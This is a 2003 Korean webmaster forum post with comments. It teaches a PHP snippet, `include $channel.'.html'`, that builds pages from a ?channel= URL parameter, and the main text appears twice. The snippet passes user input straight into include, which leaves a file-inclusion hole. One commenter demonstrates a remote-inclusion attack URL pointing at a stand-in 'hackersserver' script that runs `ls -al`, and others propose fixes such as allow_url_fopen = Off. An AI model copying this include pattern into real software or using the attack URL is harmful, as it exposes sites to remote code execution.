웹마스터 팁
page_full_width" class="col-xs-12" |cond="$__Context->page_full_width">
엔지오 처럼 주소 /?channel=about 식으로 만들기
2003.01.21 13:38
안녕하세요. 처음여기에 강좌쓰네요^^;;
음.. 엔지오 처럼 주소를 /?channel=id
이런식으로 하는방법을 알려드리겠습니다.
우선 먼저 index.html 페이지가 있으면 그걸 다 복사한후에
index2.html나 main.html로 옮겨 주시길 바랍니다.
옮기시고 index.html에는 하나도 없이 태그를 몽땅 삭제하세요.
index.html에는 다음과 같이 삽입 해주시면됩니다.
<html>
<?
$_zb_url = "제로보드 주소";
$_zb_path = "제로보드 절재경로";
include $_zb_path."outlogin.php";
if (!$channel){$channel = "인덱스페이지 파일명";}
?>
<? include $channel.'.html'; ?>
간단하죠?
문의 있으시면 코멘트로 남겨주세요.
응용하셔서 $channel 이부분을 예를들어 chn으로 변경하셔도됩니다.
음.. 엔지오 처럼 주소를 /?channel=id
이런식으로 하는방법을 알려드리겠습니다.
우선 먼저 index.html 페이지가 있으면 그걸 다 복사한후에
index2.html나 main.html로 옮겨 주시길 바랍니다.
옮기시고 index.html에는 하나도 없이 태그를 몽땅 삭제하세요.
index.html에는 다음과 같이 삽입 해주시면됩니다.
<html>
<?
$_zb_url = "제로보드 주소";
$_zb_path = "제로보드 절재경로";
include $_zb_path."outlogin.php";
if (!$channel){$channel = "인덱스페이지 파일명";}
?>
<? include $channel.'.html'; ?>
간단하죠?
문의 있으시면 코멘트로 남겨주세요.
응용하셔서 $channel 이부분을 예를들어 chn으로 변경하셔도됩니다.
댓글 18
-
위니
2003.01.21 13:43
-
MindㆍTrue
2003.01.21 13:43
index2.html나 main.html 로 옮긴 거는 어떻게 하나용,,.
<html>
<?
$_zb_url = "제로보드 주소";
$_zb_path = "제로보드 절재경로";
include $_zb_path."outlogin.php";
if (!$channel){$channel = "index2.html";}
?>
<? include $channel.'.html'; ?>
이런식으로 되나용.. -
위니
2003.01.21 13:44
Mind// 인덱스 페이지에 있는 태그들을 몽땅 main.html으로 옮기세요..
그리고 index.html에는
$_zb_url = "제로보드 주소";
$_zb_path = "제로보드 절재경로";
include $_zb_path."outlogin.php";
if (!$channel){$channel = "index2.html";}
?>
include $channel.'.html'; ?>
이렇게 삽입하시면됩니다. -
에띠안베레
2003.01.21 13:57
<?
switch($channel)
{
case "main":
include "body/main.php";
break;
default:
include "http://nonameky.co.kr/index.php";
}
?>
<html>
<head>
이렇게 해줘도 안되나여..? -
위니
2003.01.21 14:00
베레/저렇게 하시면 힘드실텐데..
음.. 이건 index.html 파일하나만으로도.. 전부다 주소를 자동적으로 붙일수있거든요 -
에띠안베레
2003.01.21 14:10
위니 전 베레베레가 아니에영 ㅡ,.ㅡ 그럼 한번 해봐야 겠네용,.. -
Toss™
2003.01.21 14:16
오타... ;;; 절재경로 -> 절대경로
저 역시 예제로 한두페이지 정도만 만들어주시면, 이해가 빠를것 같네요. -
위선OSE
2003.01.21 14:19
Example)
http://server/dir/file.php?channel=http://hackersserver/dir/hacking
-----------------------------------------------------------
http://hackersserver/dir/hacking의내용
<?
$a = `ls -al`;
?>
------------------------------------------------------------
해커는 저 스크립트를 이용하여 nobody권한으로 악영향을 미칠수도 있다. -
NeSTY♨™
2003.01.21 14:19
한번 올라왔던^^ 거네요^^
자세한 내용은 밑에 찾아 보시면 있습니다.^^ -
앳플군
2003.01.21 14:59
그리고, $channel 대신 $_GET[channel] 이라고 사용하는것이 보안상도 좋고, 관리상도 수월합니다. -
위선OSE
2003.01.21 15:27
아씨(혼잣말입니다)
http://ose.codns.com/test1.html
http://ose.codns.com/test1.php
test1.html - 이건 parsing되지 않습니다
<?
echo('메롱');
?>
test1.php - 이건 php로 parsing됩니다
<?
include"http://ose.codns.com/test1.html";
?> -
TheMics
2003.01.21 16:47
허...저도 처음 알았네요...URL로 인클루드할 때 단순하게 결과만을 불러오는 줄 알았는데..; -
뒹굴리스트
2003.01.21 15:33
오스님이 우려하시는 것을 없애려면
allow_url_fopen = Off
시키면 되겠군요. -
위선OSE
2003.01.21 15:33
네...php소스 수정이나 allow_url_fopen = Off로 해결가능합니다. -
찌~*
2003.01.22 16:31
-
강환성
2003.02.09 10:12
근데 이건 html을 php로 인식하게 설정 돼있는경우만 가능한거 아닌가요? 아님 index.php를 처음 페이지로 인식한다던가.... -
차병권
2004.10.14 02:53
감사합니다.. -
M&Gs
2008.02.04 08:29
더 간편하게 할수 없는가?
인덱스 페이지를 main.html로 하셨다면
if (!$channel){$channel = "main.html";}
이렇게 고쳐주시면됩니다.